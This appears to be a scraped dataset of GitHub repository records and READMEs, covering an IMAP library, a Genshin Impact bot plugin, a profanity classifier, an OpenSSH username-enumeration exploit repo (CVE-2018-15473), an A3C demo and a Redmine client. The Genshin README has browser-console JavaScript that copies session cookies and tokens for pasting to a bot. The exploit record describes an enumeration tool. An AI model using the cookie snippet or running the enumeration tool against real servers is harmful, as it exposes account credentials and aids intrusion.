mailbox.fetch(A(seen=False)):\n                print(msg.date, msg.subject)\n        else:\n            print('no updates in 60 sec')\n\nRead docstrings and see `detailed examples <https://github.com/ikvk/imap_tools/blob/master/examples/idle.py>`_.\n\nExceptions\n^^^^^^^^^^\n\nMost lib server actions raises exception if result is marked as not success.\n\nCustom lib exceptions here: `errors.py <https://github.com/ikvk/imap_tools/blob/master/imap_tools/errors.py>`_.\n\nRelease notes\n-------------\n\nHistory of important changes: `release_notes.rst <https://github.com/ikvk/imap_tools/blob/master/docs/release_notes.rst>`_\n\nContribute\n----------\n\nIf you found a bug or have a question, then:\n\n1. Look for answer at: this page, issues, pull requests, examples, source, RFCs, stackoverflow.com, internet.\n2. And only then - create merge request or issue.\n\nReasons\n-------\n\n- Excessive low level of `imaplib` library.\n- Other libraries contain various shortcomings or not convenient.\n- Open source projects make world better.\n\nThanks\n------\n\nBig thanks to people who helped develop this library:\n\n`shilkazx <https://github.com/shilkazx>`_,\n`somepad <https://github.com/somepad>`_,\n`0xThiebaut <https://github.com/0xThiebaut>`_,\n`TpyoKnig <https://github.com/TpyoKnig>`_,\n`parchd-1 <https://github.com/parchd-1>`_,\n`dojasoncom <https://github.com/dojasoncom>`_,\n`RandomStrangerOnTheInternet <https://github.com/RandomStrangerOnTheInternet>`_,\n`jonnyarnold <https://github.com/jonnyarnold>`_,\n`Mitrich3000 <https://github.com/Mitrich3000>`_,\n`audemed44 <https://github.com/audemed44>`_,\n`mkalioby <https://github.com/mkalioby>`_,\n`atlas0fd00m <https://github.com/atlas0fd00m>`_,\n`unqx <https://github.com/unqx>`_,\n`daitangio <https://github.com/daitangio>`_,\n`upils <https://github.com/upils>`_,\n`Foosec <https://github.com/Foosec>`_,\n`frispete <https://github.com/frispete>`_,\n`PH89 <https://github.com/PH89>`_,\n`amarkham09 <https://github.com/amarkham09>`_,\n`nixCodeX <https://github.com/nixCodeX>`_,\n`backelj <https://github.com/backelj>`_,\n`ohayak <https://github.com/ohayak>`_,\n`mwherman95926 <https://github.com/mwherman95926>`_,\n`andyfensham <https://github.com/andyfensham>`_,\n`mike-code <https://github.com/mike-code>`_,\n`aknrdureegaesr <https://github.com/aknrdureegaesr>`_,\n`ktulinger <https://github.com/ktulinger>`_,\n`SamGenTLEManKaka <https://github.com/SamGenTLEManKaka>`_,\n`devkral <https://github.com/devkral>`_,\n`tnusraddinov <https://github.com/tnusraddinov>`_,\n`thepeshka <https://github.com/thepeshka>`_,\n`shofstet <https://github.com/shofstet>`_,\n`the7erm <https://github.com/the7erm>`_,\n`c0da <https://github.com/c0da>`_,\n`dev4max <https://github.com/dev4max>`_,\n`ascheucher <https://github.com/ascheucher>`_,\n`Borutia <https://github.com/Borutia>`_,\n`nathan30 <https://github.com/nathan30>`_,\n`daniel55411 <https://github.com/daniel55411>`_,\n`rcarmo <https://github.com/rcarmo>`_,\n`bhernacki <https://github.com/bhernacki>`_,\n`ilep <https://github.com/ilep>`_,\n`ThKue <https://github.com/ThKue>`_,\n`repodiac <https://github.com/repodiac>`_,\n`tiuub <https://github.com/tiuub>`_,\n`Yannik <https://github.com/Yannik>`_,\n`pete312 <https://github.com/pete312>`_,\n`edkedk99 <https://github.com/edkedk99>`_,\n`UlisseMini <https://github.com/UlisseMini>`_,\n`Nicarex <https://github.com/Nicarex>`_,\n`RanjithNair1980 <https://github.com/RanjithNair1980>`_,\n`NickC-NZ <https://github.com/NickC-NZ>`_,\n`mweinelt <https://github.com/mweinelt>`_,\n`lucbouge <https://github.com/lucbouge>`_,\n`JacquelinCharbonnel <https://github.com/JacquelinCharbonnel>`_,\n`stumpylog <https://github.com/stumpylog>`_\n\nDonate\n------\n`\u270b I want to help this library <https://github.com/ikvk/imap_tools/blob/master/docs/donate.rst>`_\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "KimigaiiWuyi/GenshinUID", "link": "https://github.com/KimigaiiWuyi/GenshinUID", "tags": ["qqbot", "hoshino", "genshin-impact", "genshin", "cqhttp", "nonebot2", "qqguildbot", "wechat"], "stars": 504, "description": "\u57fa\u4e8eHoshinoBot/NoneBot2/QQ\u5b98\u65b9\u9891\u9053/\u5fae\u4fe1Bot\u7684\u539f\u795e\u9762\u677f\u67e5\u8be2/\u539f\u795eWiki/\u7c73\u793e\u7b7e\u5230/\u6811\u8102\u63d0\u9192\u63d2\u4ef6", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\">\n  <a href=\"https://github.com/KimigaiiWuyi/GenshinUID/\"><img src=\"https://s2.loli.net/2022/01/31/kwCIl3cF1Z2GxnR.png\" width=\"256\" height=\"256\" alt=\"GenshinUID\"></a>\n</p>\n<h1 align = \"center\">GenshinUID 3.1</h1>\n<h4 align = \"center\">\u2728\u57fa\u4e8e<a href=\"https://github.com/Ice-Cirno/HoshinoBot\" target=\"_blank\">HoshinoBot</a>/<a href=\"https://github.com/nonebot/nonebot2\" target=\"_blank\">NoneBot2</a>/<a href=\"https://bot.q.qq.com/wiki/#\" target=\"_blank\">\u5b98\u65b9\u9891\u9053</a>/<a href=\"https://github.com/JustUndertaker/adapter-ntchat\" target=\"_blank\">\u5fae\u4fe1\u9002\u914d\u5668</a>\u7684\u539f\u795e\u591a\u529f\u80fd\u63d2\u4ef6\u2728</h4>\n<div align = \"center\">\n        <a href=\"https://github.com/KimigaiiWuyi/GenshinUID/wiki\" target=\"_blank\">\u5b89\u88c5\u6587\u6863</a> &nbsp; \u00b7 &nbsp;\n        <a href=\"https://github.com/KimigaiiWuyi/GenshinUID/wiki/File5-%E3%80%8C%E6%8C%87%E4%BB%A4%E5%88%97%E8%A1%A8%E3%80%8D\" target=\"_blank\">\u6307\u4ee4\u5217\u8868</a> &nbsp; \u00b7 &nbsp;\n        <a href=\"https://github.com/KimigaiiWuyi/GenshinUID/issues/226\">\u5e38\u89c1\u95ee\u9898</a>\n</div>\n<p align=\"center\">\n  <a><img src=\"https://s2.loli.net/2022/09/09/ZR4LTdNhpUmJHil.jpg\"></a>\n</p>\n\n\n\n## \u4e28\u6211\u8be5\u5982\u4f55\u5b89\u88c5\u8be5\u63d2\u4ef6\uff1f\n\n+ \u5982\u679c\u4f60\u4f7f\u7528\u7684\u662f[Go-cqhttp](https://github.com/Mrs4s/go-cqhttp) & [HoshinoBot](https://github.com/Ice-Cirno/HoshinoBot)\uff0c**\u5b89\u88c5\u65b9\u6cd5\u67e5\u770b[\u6b64\u5904](https://github.com/KimigaiiWuyi/GenshinUID/wiki/File1%E3%80%8CHoshinoBot%E7%9A%84%E5%AE%89%E8%A3%85%E3%80%8D)**\u3002\n+ \u5982\u679c\u4f60\u4f7f\u7528\u7684\u662f[Go-cqhttp](https://github.com/Mrs4s/go-cqhttp) & [NoneBot2](https://github.com/nonebot/nonebot2)\uff0c**\u5b89\u88c5\u65b9\u6cd5\u67e5\u770b[\u6b64\u5904](https://github.com/KimigaiiWuyi/GenshinUID/wiki/File2%E3%80%8CNonebot2%E7%9A%84%E5%AE%89%E8%A3%85%E3%80%8D)**\u3002\uff08**\u5f00\u53d1\u8005\u6b63\u5728\u4f7f\u7528**\uff09\n+ \u5982\u679c\u4f60\u60f3\u5728QQ\u5b98\u65b9\u7684\u9891\u9053Bot\u4f7f\u7528\u6b64\u63d2\u4ef6\uff0c\u4f60\u9700\u8981**\u505a\u597d\u4ee5\u4e0b\u51c6\u5907**\uff1a\n    - \u62e5\u6709QQ\u9891\u9053\u673a\u5668\u4eba\u7684\u5f00\u53d1\u8005\u8d26\u53f7\uff08\u7c7b\u578b\uff1a\u79c1\u57df\uff09\n    - \u62e5\u6709\u5df2\u7ecf\u5907\u6848\u597d\u7684\u670d\u52a1\u5668\u5730\u5740\uff08\u89c6\u60c5\u51b5\u540e\u671f\u5b98\u65b9\u653e\u5f00\u672c\u5730\u56fe\u7247\u53d1\u9001\u800c\u5b9a\uff09\n    - **\u817e\u8baf\u9891\u9053Bot\u5b98\u65b9\u7684\u6587\u6863**\uff0c\u67e5\u770b[\u6b64\u5904](https://bot.q.qq.com/wiki/#)\n    - \u5b89\u88c5\u65b9\u6cd5\uff1a\u57fa\u4e8e [NoneBot2](https://github.com/nonebot/nonebot2)\u7684\u9891\u9053\u9002\u914d\u5668\uff0c\u5177\u4f53\u65b9\u6cd5\u53ef\u53c2\u8003[Wiki](https://github.com/KimigaiiWuyi/GenshinUID/wiki/File_EX1-%E3%80%8CQQGuildBot%E7%9A%84%E5%AE%89%E8%A3%85%E3%80%8D)\n+ \u5982\u679c\u4f60\u60f3\u5728\u5fae\u4fe1(WeChat)\u7aef\u4f7f\u7528\uff0c\u8bf7\u81ea\u884c\u7814\u7a76[adapter-ntchat](https://github.com/JustUndertaker/adapter-ntchat) & [ntchat-client](https://github.com/JustUndertaker/ntchat-client)\n\n## \u4e28\u6211\u8be5\u5982\u4f55\u83b7\u53d6Cookies\uff1f[#92](https://github.com/KimigaiiWuyi/GenshinUID/issues/92)\uff08[@RemKeeper](https://github.com/RemKeeper)\uff09\n\n> \u8be5\u65b9\u6cd5\u73b0\u5728\u5f88\u53ef\u80fd\u5931\u6548\uff0c\u4f60\u5e94\u8be5\u4ece\u7c73\u6e38\u793e\u7f51\u9875\u7684\u7f51\u7edc\u8bf7\u6c42Header\u4e2d\u62ff\u5230CK\n>\n> \u8be5CK\u5e94\u8be5\u643a\u5e26`cookie_token_v2`\u53c2\u6570\n>\n> \u5982\u4e0d\u786e\u5b9a\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\u4e0b\u9762\u7684\u83b7\u53d6Stoken\u65b9\u6cd5\u83b7\u53d6\uff0c\u4f1a\u8fde\u5e26CK\u4e00\u8d77\u83b7\u53d6\n\n```js\nvar cookie = document.cookie;\nvar Str_Num = cookie.indexOf('_MHYUUID=');\ncookie = '\u6dfb\u52a0 ' + cookie.substring(Str_Num);\nvar ask = confirm('Cookie:' + cookie + '\\n\\n\u6309\u786e\u8ba4\uff0c\u7136\u540e\u7c98\u8d34\u53d1\u9001\u7ed9\u673a\u5668\u4eba');\nif (ask == true) {\n  copy(cookie);\n  msg = cookie\n} else {\n  msg = 'Cancel'\n}\n```\n\n1. \u590d\u5236\u4e0a\u9762\u5168\u90e8\u4ee3\u7801\uff0c\u7136\u540e\u6253\u5f00https://bbs.mihoyo.com/ys/\n2. \u5728\u9875\u9762\u4e0a\u53f3\u952e\u68c0\u67e5\u6216\u8005Ctrl+Shift+i\n3. \u9009\u62e9\u63a7\u5236\u53f0\uff08Console\uff09\uff0c\u7c98\u8d34\uff0c\u56de\u8f66\uff0c\u5728\u5f39\u51fa\u7684\u7a97\u53e3\u70b9\u786e\u8ba4\uff08\u70b9\u5b8c\u81ea\u52a8\u590d\u5236\uff09\n4. \u7136\u540e\u5728\u548c\u673a\u5668\u4eba\u7684\u79c1\u804a\u7a97\u53e3\uff0c\u7c98\u8d34\u53d1\u9001\u5373\u53ef\n\n**\u8b66\u544a\uff1aCookies\u5c5e\u4e8e\u4e2a\u4eba\u9690\u79c1\uff0c\u5176\u6548\u7528\u76f8\u5f53\u4e8e\u8d26\u53f7\u5bc6\u7801\uff0c\u8bf7\u52ff\u968f\u610f\u516c\u5f00\uff01**\n\n## \u4e28\u83b7\u53d6\u7c73\u6e38\u793eStoken([AutoMihoyoBBS](https://github.com/Womsxd/AutoMihoyoBBS#%E8%8E%B7%E5%8F%96%E7%B1%B3%E6%B8%B8%E7%A4%BECookie))\n\n```js\nvar cookie = document.cookie;\nvar ask = confirm('Cookie:' + cookie + '\\n\\nDo you want to copy the cookie to the clipboard?');\nif (ask == true) {\n  copy(\"\u6dfb\u52a0 stoken\" + cookie);\n  msg = cookie\n} else {\n  msg = 'Cancel'\n}\n```\n\n1. \u590d\u5236\u4e0a\u9762\u5168\u90e8\u4ee3\u7801\uff0c\u7136\u540e\u6253\u5f00http://user.mihoyo.com/\n2. \u5728\u9875\u9762\u4e0a\u53f3\u952e\u68c0\u67e5\u6216\u8005Ctrl+Shift+i\n3. \u9009\u62e9\u63a7\u5236\u53f0\uff08Console\uff09\uff0c\u7c98\u8d34\uff0c\u56de\u8f66\uff0c\u5728\u5f39\u51fa\u7684\u7a97\u53e3\u70b9\u786e\u8ba4\uff08\u70b9\u5b8c\u81ea\u52a8\u590d\u5236\uff09\n4. \u7136\u540e\u5728\u548c\u673a\u5668\u4eba\u7684\u79c1\u804a\u7a97\u53e3\uff0c\u7c98\u8d34\u53d1\u9001\u5373\u53ef\n\n**\u8b66\u544a\uff1aCookies\u5c5e\u4e8e\u4e2a\u4eba\u9690\u79c1\uff0c\u5176\u6548\u7528\u76f8\u5f53\u4e8e\u8d26\u53f7\u5bc6\u7801\uff0c\u8bf7\u52ff\u968f\u610f\u516c\u5f00\uff01**\n\n## \u4e28\u611f\u8c22\n\n- [PaimonBot](https://github.com/XiaoMiku01/PaimonBot) - \u63d2\u4ef6\u539f\u59cb\u4ee3\u7801\u6765\u81ea\u4e8e\u5b83\n- [YuanShen_User_Info](https://github.com/Womsxd/YuanShen_User_Info) - \u7c73\u6e38\u793eAPI\u6765\u81ea\u4e8e\u5b83\n- *[MiniGG](https://www.minigg.cn/)* - Wiki API\u6765\u81ea\u4e8e\u5b83/\u63d2\u4ef6\u521d\u59cb\u5316\u4e0b\u8f7d\u7ad9\u6765\u81ea\u4e8e\u5b83\n- [@MingxuanGame](https://github.com/MingxuanGame)\n  - [Nonebot2-beta1](https://github.com/KimigaiiWuyi/GenshinUID/tree/nonebot2-beta1)\u5206\u652f\u65b0\u5efa\u4e0e\u7ef4\u62a4\n- [@shirokurakana](https://github.com/shirokurakana)\n  - [Nonebot2-beta1\u5206\u652f\u7684\u4fee\u590d\u4e0e\u4f18\u5316](https://github.com/KimigaiiWuyi/GenshinUID/pull/118)\n- [@twfx1207](https://github.com/twfx1207) - \u56fd\u9645\u670d\u76f8\u5173\u529f\u80fd\u7684\u652f\u6301([#366](https://github.com/KimigaiiWuyi/GenshinUID/pull/366))\n- [@\u732b\u51ac](https://bbs.mihoyo.com/ys/accountCenter/postList?id=74019947) - \u539f\u795e\u653b\u7565\u7684**\u6388\u6743**\u4f7f\u7528\n- [@blue\u83cchehe](https://bbs.mihoyo.com/ys/accountCenter/postList?id=160367110) - \u53c2\u8003\u9762\u677f\u7684**\u6388\u6743**\u4f7f\u7528\n- [@\u97f3\u5c18\u7eddLiuSXwww](https://bbs.mihoyo.com/ys/accountCenter/postList?id=271681956) - \u602a\u7269\u6570\u636e\u8868\u7684**\u6388\u6743**\u4f7f\u7528\n- [@Asgater](https://www.miyoushe.com/ys/accountCenter/postList?id=79695828) - \u539f\u724c\u56fe\u9274\u7684**\u6388\u6743**\u4f7f\u7528\n- [\u865a\u7a7a\u6570\u636e\u5e93](https://akashadata.com/) - \u6df1\u6e0a\u51fa\u573a\u6570\u636e\u7684**\u6388\u6743**\u4f7f\u7528\n- [@lgc233](https://github.com/lgc2333) - \u4f17\u591a\u4f18\u79c0PR\u8d21\u732e\n- [@lulu666lulu](https://github.com/lulu666lulu) - DS\u7b97\u6cd5\u63d0\u4f9b\u548c\u9a8c\u8bc1\u7801\u65b9\u6848\u63d0\u4f9b\n- [@Monst.x](https://github.com/monsterxcn) - [fastapi-genshin-map](https://github.com/KimigaiiWuyi/fastapi_genshin_map)\u7684\u5185\u5bb9\u586b\u5145\u548c\u672c\u4f53\u7684\u4fee\u590d\n- [@CMHopeSunshine](https://github.com/CMHopeSunshine) - \u968f\u673a\u56feAPI\u63d0\u4f9b\n- [@Enka.Network](https://enka.shinshin.moe/) - \u5c55\u67dc\u9762\u677f\u7684\u6570\u636e\u6765\u6e90\n- [@Ice-Cirno](https://github.com/Ice-Cirno) - Hoshino\u5206\u652f\u7684\u4fee\u590d\u4e0e\u5b8c\u5584\n- [@AMEKENN](https://github.com/AMEKENN) - \u7c73\u6e38\u793e\u7b7e\u5230\u90e8\u5206\u7684\u4ee3\u7801\u6307\u5bfc\n- [@RemKeeper](https://github.com/RemKeeper) - \u7b80\u6613Cookies\u83b7\u53d6\u6587\u6863\n- [@\u73ca\u745a\u5bab\u5343\u82b1](https://space.bilibili.com/398528056) - \u89d2\u8272\u522b\u540dJson\u63d0\u4f9b\n- [@wudifeixue](https://github.com/wudifeixue) - PR\u8d21\u732e & Bug\u62a5\u544a\n- [@ZhouYingSASA](https://github.com/ZhouYingSASA) - PR\u8d21\u732e & Bug\u62a5\u544a\n\n## \u4e28\u5176\u4ed6\n\n+ \u5982\u679c\u5bf9\u672c\u63d2\u4ef6\u6709\u529f\u80fd\u5efa\u8bae&Bug\u62a5\u544a\uff0c\u6b22\u8fce\u63d0Issue & Pr\uff0c\u6bcf\u4e00\u6761\u90fd\u4f1a\u8be6\u7ec6\u770b\u8fc7\n+ \u5982\u679c\u672c\u63d2\u4ef6\u5bf9\u4f60\u6709\u5e2e\u52a9\uff0c\u4e0d\u8981\u5fd8\u4e86\u70b9\u4e2aStar~\n+ \u672c\u9879\u76ee\u4ec5\u4f9b\u5b66\u4e60\u4f7f\u7528\uff0c\u8bf7\u52ff\u7528\u4e8e\u5546\u4e1a\u7528\u9014\n+ [\u7231\u53d1\u7535](https://afdian.net/@KimigaiiWuyi)\n+ [GPL-3.0 License](https://github.com/KimigaiiWuyi/GenshinUID/blob/main/LICENSE) \u00a9[@KimigaiiWuyi](https://github.com/KimigaiiWuyi)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "vzhou842/profanity-check", "link": "https://github.com/vzhou842/profanity-check", "tags": ["profanity", "profanity-detection", "python3", "sklearn", "scikit-learn", "linear-svm", "bag-of-words", "profanity-filter", "profanity-library", "offensive-language"], "stars": 502, "description": "A fast, robust Python library to check for offensive language in strings.", "lang": "Python", "repo_lang": "", "readme": "# profanity-check\n\n[![Build Status](https://travis-ci.com/vzhou842/profanity-check.svg?branch=master)](https://travis-ci.com/vzhou842/profanity-check)\n[![release](https://img.shields.io/badge/dynamic/json.svg?label=release&url=https%3A%2F%2Fpypi.org%2Fpypi%2Fprofanity-check%2Fjson&query=%24.info.version&colorB=blue)](https://pypi.org/project/profanity-check/)\n\nA fast, robust Python library to check for profanity or offensive language in strings. Read more about how and why `profanity-check` was built in [this blog post](https://victorzhou.com/blog/better-profanity-detection-with-scikit-learn/). You can also test out `profanity-check` [in your browser](https://repl.it/@vzhou842/profanity-check-playground).\n\n## How It Works\n\n`profanity-check` uses a linear SVM model trained on 200k human-labeled samples of clean and profane text strings. Its model is simple but surprisingly effective, meaning **`profanity-check` is both robust and extremely performant**.\n\n## Why Use profanity-check?\n\n### No Explicit Blacklist\n\nMany profanity detection libraries use a hard-coded list of bad words to detect and filter profanity. For example, [profanity](https://pypi.org/project/profanity/) uses [this wordlist](https://github.com/ben174/profanity/blob/master/profanity/data/wordlist.txt), and even [better-profanity](https://pypi.org/project/better-profanity/) still uses [a wordlist](https://github.com/snguyenthanh/better_profanity/blob/master/better_profanity/profanity_wordlist.txt). There are obviously glaring issues with this approach, and, while they might be performant, **these libraries are not accurate at all**.\n\nA simple example for which `profanity-check` is better is the phrase *\"You cocksucker\"* - `profanity` thinks this is clean because it doesn't have *\"cocksucker\"* in its wordlist.\n\n### Performance\n\nOther libraries like [profanity-filter](https://github.com/rominf/profanity-filter) use more sophisticated methods that are much more accurate but at the cost of performance. A benchmark (performed December 2018 on a new 2018 Macbook Pro) using [a Kaggle dataset of Wikipedia comments](https://www.kaggle.com/c/jigsaw-toxic-comment-classification-challenge/data) yielded roughly the following results:\n\n| Package | 1 Prediction (ms) | 10 Predictions (ms) | 100 Predictions (ms)\n| --------|-------------------|---------------------|-----------------------\n| profanity-check | 0.2 | 0.5 | 3.5\n| profanity-filter | 60 | 1200 | 13000\n| profanity | 0.3 | 1.2 | 24\n\n`profanity-check` is anywhere from **300 - 4000 times faster** than `profanity-filter` in this benchmark!\n\n### Accuracy\n\nThis table speaks for itself:\n\n| Package | Test Accuracy | Balanced Test Accuracy | Precision | Recall | F1 Score\n| ------- | ------------- | ---------------------- | --------- | ------ | --------\n| profanity-check | 95.0% | 93.0% | 86.1% | 89.6% | 0.88\n| profanity-filter | 91.8% | 83.6% | 85.4% | 70.2% | 0.77\n| profanity | 85.6% | 65.1% | 91.7% | 30.8% | 0.46\n\nSee the How section below for more details on the dataset used for these results.\n\n## Installation\n\n```\n$ pip install profanity-check\n```\n\n## Usage\n\n```python\nfrom profanity_check import predict, predict_prob\n\npredict(['predict() takes an array and returns a 1 for each string if it is offensive, else 0.'])\n# [0]\n\npredict(['fuck you'])\n# [1]\n\npredict_prob(['predict_prob() takes an array and returns the probability each string is offensive'])\n# [0.08686173]\n\npredict_prob(['go to hell, you scum'])\n# [0.7618861]\n```\n\nNote that both `predict()` and `predict_prob` return [`numpy`](https://pypi.org/project/numpy/) arrays.\n\n## More on How/Why It Works\n\n### How\n\nSpecial thanks to the authors of the datasets used in this project. `profanity-check` was trained on a combined dataset from 2 sources:\n- [t-davidson/hate-speech-and-offensive-language](https://github.com/t-davidson/hate-speech-and-offensive-language/tree/master/data), used in their paper *Automated Hate Speech Detection and the Problem of Offensive Language*\n- the [Toxic Comment Classification Challenge](https://www.kaggle.com/c/jigsaw-toxic-comment-classification-challenge/data) on Kaggle.\n\n`profanity-check` relies heavily on the excellent [`scikit-learn`](https://scikit-learn.org/) library. It's mostly powered by `scikit-learn` classes [`CountVectorizer`](https://scikit-learn.org/stable/modules/generated/sklearn.feature_extraction.text.CountVectorizer.html), [`LinearSVC`](https://scikit-learn.org/stable/modules/generated/sklearn.svm.LinearSVC.html), and [`CalibratedClassifierCV`](https://scikit-learn.org/stable/modules/generated/sklearn.calibration.CalibratedClassifierCV.html). It uses a [Bag-of-words model](https://en.wikipedia.org/wiki/Bag-of-words_model) to vectorize input strings before feeding them to a linear classifier.\n\n### Why\n\nOne simplified way you could think about why `profanity-check` works is this: during the training process, the model learns which words are \"bad\" and how \"bad\" they are because those words will appear more often in offensive texts. Thus, it's as if the training process is picking out the \"bad\" words out of all possible words and using those to make future predictions. This is better than just relying on arbitrary word blacklists chosen by humans!\n\n## Caveats\n\nThis library is far from perfect. For example, it has a hard time picking up on less common variants of swear words like *\"f4ck you\"* or *\"you b1tch\"* because they don't appear often enough in the training corpus. **Never treat any prediction from this library as unquestionable truth, because it does and will make mistakes.** Instead, use this library as a heuristic.\n", "readme_type": "markdown", "hn_comments": "Is there an online interface where I can monkey test it?<HN_SEP>I wrote a little wrapper around this library to check python scripts/services for profanity (checks strings and comments in files). https://github.com/ozychhi/prof-checker<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Rhynorater/CVE-2018-15473-Exploit", "link": "https://github.com/Rhynorater/CVE-2018-15473-Exploit", "tags": [], "stars": 502, "description": "Exploit written in Python for CVE-2018-15473 with threading and export formats", "lang": "Python", "repo_lang": "", "readme": "# CVE-2018-15473-Exploit\nOn August 15th, 2018, the following advisory was posted on the OSS-Security list: [http://openwall.com/lists/oss-security/2018/08/15/5](http://openwall.com/lists/oss-security/2018/08/15/5)\n\nThe [ShelIntel team](https://www.shellntel.com/) decided to invest some time and write an exploit for this vulnerability. The exploit below has the following features:\n* Threading - default 5\n  * If more than 10 are used, often the OpenSSH service gets overwhelmed and causes retries\n* Single username evaluation via `username` parameter\n* Multiple username evaluation via `userList` parameter\n* Multiple username evaluation file output via `outputFile` parameter\n* Multiple output formats (list, json, csv) via `outputFormat` parameter\n\nAn example username input file is given in `exampleInput.txt`  \nAn example results output file in List format is given in `exampleOutput.txt`  \nAn example results output file in JSON format is given in `exampleOutput.json`  \nAn example results output file in CSV format is given in `exampleOutput.csv`  \n\n#### Install the dependencies by running `pip install -r requirements.txt`\n=======\n## Build the image:\ndocker build -t cve-2018-15473 .\n\n## Run the exploit:\ndocker run cve-2018-15473 -h\n\n## Delete containers and image:\ndocker ps -a | awk '$2 == \"cve-2018-15473\" {print $1}' | xargs docker rm\ndocker rmi cve-2018-15473\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MorvanZhou/pytorch-A3C", "link": "https://github.com/MorvanZhou/pytorch-A3C", "tags": ["pytorch", "a3c", "gym", "neural-network", "asynchronous-advantage-actor-critic", "multiprocessing", "toy-example", "actor-critic"], "stars": 502, "description": "Simple A3C implementation with pytorch + multiprocessing", "lang": "Python", "repo_lang": "", "readme": "# Simple implementation of Reinforcement Learning (A3C) using Pytorch\n\nThis is a toy example of using multiprocessing in Python to asynchronously train a\nneural network to play discrete action [CartPole](https://gym.openai.com/envs/CartPole-v0/) and\ncontinuous action [Pendulum](https://gym.openai.com/envs/Pendulum-v0/) games.\nThe asynchronous algorithm I used is called [Asynchronous Advantage Actor-Critic](https://arxiv.org/pdf/1602.01783.pdf) or A3C.\n\nI believe it would be the simplest toy implementation you can find at the moment (2018-01).\n\n## What are the main focuses in this implementation?\n\n* Pytorch + multiprocessing (NOT threading) for parallel training\n* Both discrete and continuous action environments\n* To be simple and easy to dig into the code (less than 200 lines)\n\n## Reason of using [Pytorch](http://pytorch.org/) instead of [Tensorflow](https://www.tensorflow.org/)\n\nBoth of them are great for building your customized neural network. But to work\nwith multiprocessing, Tensorflow is not that great due to its low compatibility with multiprocessing.\nI have an implementation of [Tensorflow A3C build on threading](https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/tree/master/contents/10_A3C).\nI even tried to implement [distributed Tensorflow](https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/10_A3C/A3C_distributed_tf.py).\nHowever, the distributed version is for cluster computing which I don't have.\nWhen using only one machine, it is slower than threading version I wrote.\n\nFortunately, Pytorch gets the [multiprocessing compatibility](http://pytorch.org/docs/master/notes/multiprocessing.html).\nI went through many Pytorch A3C examples ([there](https://github.com/ikostrikov/pytorch-a3c), [there](https://github.com/jingweiz/pytorch-rl)\nand [there](https://github.com/ShangtongZhang/DeepRL)). They are great but too complicated to dig into the code.\nTherefore, this is my motivation to write my simple example codes.\n\nBTW, if you are interested to learn Pytorch, [there](https://github.com/MorvanZhou/PyTorch-Tutorial)\n is my simple tutorial code with many visualizations. I also made the tensorflow tutorial (same as pytorch) available in [here](https://github.com/MorvanZhou/Tensorflow-Tutorial).\n\n## Codes & Results\n\n* [shared_adam.py](/shared_adam.py): optimizer that shares its parameters in parallel\n* [utils.py](/utils.py): useful function that can be used more than once\n* [discrete_A3C.py](/discrete_A3C.py): CartPole, neural net and training for discrete action space\n* [continuous_A3C.py](/continuous_A3C.py): Pendulum, neural net and training for continuous action space\n\nCartPole result\n![cartpole](/results/cartpole.png)\n\nPendulum result\n![pendulum](/results/pendulum.png)\n\n## Dependencies\n\n* pytorch >= 0.4.0\n* numpy\n* gym\n* matplotlib\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "maxtepkeev/python-redmine", "link": "https://github.com/maxtepkeev/python-redmine", "tags": ["python", "redmine", "redmineup", "redminecrm", "api-client"], "stars": 502, "description": "Python Redmine is a library for communicating with a Redmine project management application", "lang": "Python", "repo_lang": "", "readme": "Python-Redmine\n==============\n\n.. image:: https://badge.fury.io/py/python-redmine.svg\n   :target: https://badge.fury.io/py/python-redmine\n\n.. image:: https://img.shields.io/travis/com/maxtepkeev/python-redmine/master\n   :target: https://app.travis-ci.com/maxtepkeev/python-redmine\n\n.. image:: https://img.shields.io/coverallsCoverage/github/maxtepkeev/python-redmine?branch=master\n   :target: https://coveralls.io/github/maxtepkeev/python-redmine?branch=master\n\nPython-Redmine is a library for communicating with a `Redmine <http://www.redmine.org>`__\nproject management application. Redmine exposes some of its data via `REST API\n<http://www.redmine.org/projects/redmine/wiki/Rest_api>`__ for which Python-Redmine provides\na simple but powerful Pythonic API inspired by a well-known `Django ORM\n<https://docs.djangoproject.com/en/dev/topics/db/queries/>`__:\n\n.. code-block:: python\n\n   >>> from redminelib import Redmine\n\n   >>> redmine = Redmine('http://demo.redmine.org', username='foo', password='bar')\n   >>> project = redmine.project.get('vacation')\n\n   >>> project.id\n   30404\n\n   >>> project.identifier\n   'vacation'\n\n   >>> project.created_on\n   datetime.datetime(2013, 12, 31, 13, 27, 47)\n\n   >>> project.issues\n   <redminelib.resultsets.ResourceSet object with Issue resources>\n\n   >>> project.issues[0]\n   <redminelib.resources.Issue #34441 \"Vacation\">\n\n   >>> dir(project.issues[0])\n   ['assigned_to', 'author', 'created_on', 'description', 'done_ratio',\n   'due_date', 'estimated_hours', 'id', 'priority', 'project', 'relations',\n   'start_date', 'status', 'subject', 'time_entries', 'tracker', 'updated_on']\n\n   >>> project.issues[0].subject\n   'Vacation'\n\n   >>> project.issues[0].time_entries\n   <redminelib.resultsets.ResourceSet object with TimeEntry resources>\n\nFeatures\n--------\n\n* Supports 100% of Redmine API\n* Supports external Redmine plugins API\n* Supports Python 3.7 - 3.11 and PyPy3\n* Supports different request engines\n* Extendable via custom resources and custom request engines\n* Extensively documented\n* Provides ORM-style Pythonic API\n* And many more...\n\nInstallation\n------------\n\nStandard Edition\n++++++++++++++++\n\nThe recommended way to install is from Python Package Index (PyPI) with `pip <http://www.pip-installer.org>`__:\n\n.. code-block:: bash\n\n   $ pip install python-redmine\n\nPro Edition\n+++++++++++\n\nLicense for a Pro Edition can be bought\n`here <https://secure.2checkout.com/order/checkout.php?PRODS=4708754&QTY=1&CART=1&CARD=1&DISABLE_SHORT_FORM_MOBILE=1>`__.\nYou will receive an email with all the details regarding Pro Edition installation process.\n\nDocumentation\n-------------\n\nDocumentation is available at https://python-redmine.com.\n\nContacts and 